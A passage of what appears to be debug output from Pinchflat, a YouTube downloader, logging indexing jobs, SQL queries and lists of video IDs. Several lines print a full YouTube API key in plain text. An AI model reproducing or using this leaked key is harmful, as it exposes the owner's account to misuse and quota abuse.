"CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 17:25:23.122 [debug] QUERY OK source="media_items" db=1.0ms idle=259.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 17:25:23.123 [debug] QUERY OK source="tasks" db=0.1ms idle=260.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268458, 34, ~U[2026-10-09 22:25:23Z], ~U[2026-10-09 22:25:23Z]] 17:25:23.123 [info] {"args":{"id":34},"id":5268419,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":261991,"event":"job:stop","queue_time":846871,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.129 [info] {"args":{"id":33},"id":5268420,"meta":{},"system_time":1791584723129231882,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.129 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 17:25:23.129 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.129 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:23.129 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.130 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 17:25:23.130 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.130 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:23.396 [debug] QUERY OK source="media_items" db=0.6ms idle=265.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 17:25:23.397 [debug] QUERY OK source="media_items" db=0.5ms idle=266.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 17:25:23.398 [debug] QUERY OK source="tasks" db=0.1ms idle=56.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268459, 33, ~U[2026-10-09 22:25:23Z], ~U[2026-10-09 22:25:23Z]] 17:25:23.398 [info] {"args":{"id":33},"id":5268420,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":268821,"event":"job:stop","queue_time":872763,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.404 [info] {"args":{"id":39},"id":5268421,"meta":{},"system_time":1791584723404138545,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.404 [debug] QUERY OK source="sources" db=0.1ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:25:23.404 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.404 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:23.404 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.404 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:25:23.405 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.405 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:23.615 [debug] QUERY OK source="media_items" db=0.6ms idle=210.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "bznw-B-Eni8", "swCwRxuotQk", "wdsG9aIz_n8", "-tUJmKUeo5U", "c5aS2Pb-pTA", "rmdT12aICmo", "LRyW70JurQI", "8S7t7Rs4i9c", "j3xZ_KvHC3s", "L56BzYHXQks", "rriUpocMals", "AHV3pCJf72U", "zFo5KWWKpAM", "X-ptuLzSUIY", "otXq2JuhqKo", "5bFFyLM4Maw", "3_ibraS5u6M", "MD21fnS-B54", "JrHd0DsoVkY", "54WRGYyHtsg", "6qpd9CRvtgE", "s62--fs7r_4", "0rBw9jkxTJ0", "SBnSoDzkQ4A", "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", ...] 17:25:23.616 [debug] QUERY OK source="media_items" db=0.3ms idle=211.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:25:23.617 [debug] QUERY OK source="tasks" db=0.1ms idle=212.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268460, 39, ~U[2026-10-09 22:25:23Z], ~U[2026-10-09 22:25:23Z]] 17:25:23.617 [info] {"args":{"id":39},"id":5268421,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":213388,"event":"job:stop","queue_time":904306,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.624 [info] {"args":{"id":46},"id":5268422,"meta":{},"system_time":1791584723624296640,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.624 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 17:25:23.624 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.624 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:23.625 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.625 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 17:25:23.625 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.625 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:23.764 [debug] QUERY OK source="media_items" db=0.3ms idle=139.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [46, "icFef_JRy4A", "V0sEXDcU-c4", "ejUGtBNp2ZA", "ZAwlWBYdIhg", "bddSk5lgf0I", "t4z_nTvZEXA", "h-kC1jJsC8E", "99OgHfsunFQ", "7jRIplZwwpQ", "4mBje4mjDW4", "UqMjU_i26TE", "kvAnxFKIj7E", "GSOsUC9fNlc", "e2jEOwnWb-s", "6pI73pxVLdQ", "NZSCgJmc79k", "4lmd99XTwiM", "Pb69qX65QIU", "mi5mNBkvuB0", "U5xFZZdITSg"] 17:25:23.764 [debug] QUERY OK source="media_items" db=0.1ms idle=139.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [46] 17:25:23.765 [debug] QUERY OK source="tasks" db=0.1ms idle=140.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268461, 46, ~U[2026-10-09 22:25:23Z], ~U[2026-10-09 22:25:23Z]] 17:25:23.765 [info] {"args":{"id":46},"id":5268422,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141195,"event":"job:stop","queue_time":1029929,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.772 [info] {"args":{"id":47},"id":5268423,"meta":{},"system_time":1791584723772131442,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:23.772 [debug] QUERY OK source="sources" db=0.1ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [47] 17:25:23.772 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.772 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:23.773 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.773 [debug] Fetching recent media IDs from YouTube API for playlist: UU1lIHn3KlcJimyxsVugP4uw 17:25:23.773 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:23.773 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:25:23.961 [debug] QUERY OK source="media_items" db=0.5ms idle=188.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [47, "cdxiIZ6FTqY", "DbahvHypjeY", "jLbN16TvulI", "j4T9p-Iks6Q", "5j16940siPE", "Bj9A6TqDSSU", "yfgkh4Fgw98", "bdtxmd8ze7E", "q6s8rDkwrL0", "_ofP3rrKcuo", "EFlhj7tAVnY", "UmKf8smvGsA", "Cny5CTOLBtI", "1OgN_qctcGs", "m6mHX9f35zk", "hJgGkRDyekU", "A_SVevmpmIM", "XwpIZNeom7Y", "SqZ3v24dw28", "SpJlSh8RUvk", "ouPiwt5hxXQ", "ESLvSeXIcJo", "x7AgrwuQXZk", "VxyFqBlIwyU", "qPKtGVU9Y10", "Yo6yes4TdCo", "yO683XvKseE", "SB_b4HvrJFU", "UyfMLlvVB7Y", "AtZcDqhVBpg", "XEMQ0LxowhY", "cf3ApBDljhY", "hSQNVKhQqOw", "j7CFpM67NYk", "Y5vbfJSSSuc", "DDmeqLEB9c0", 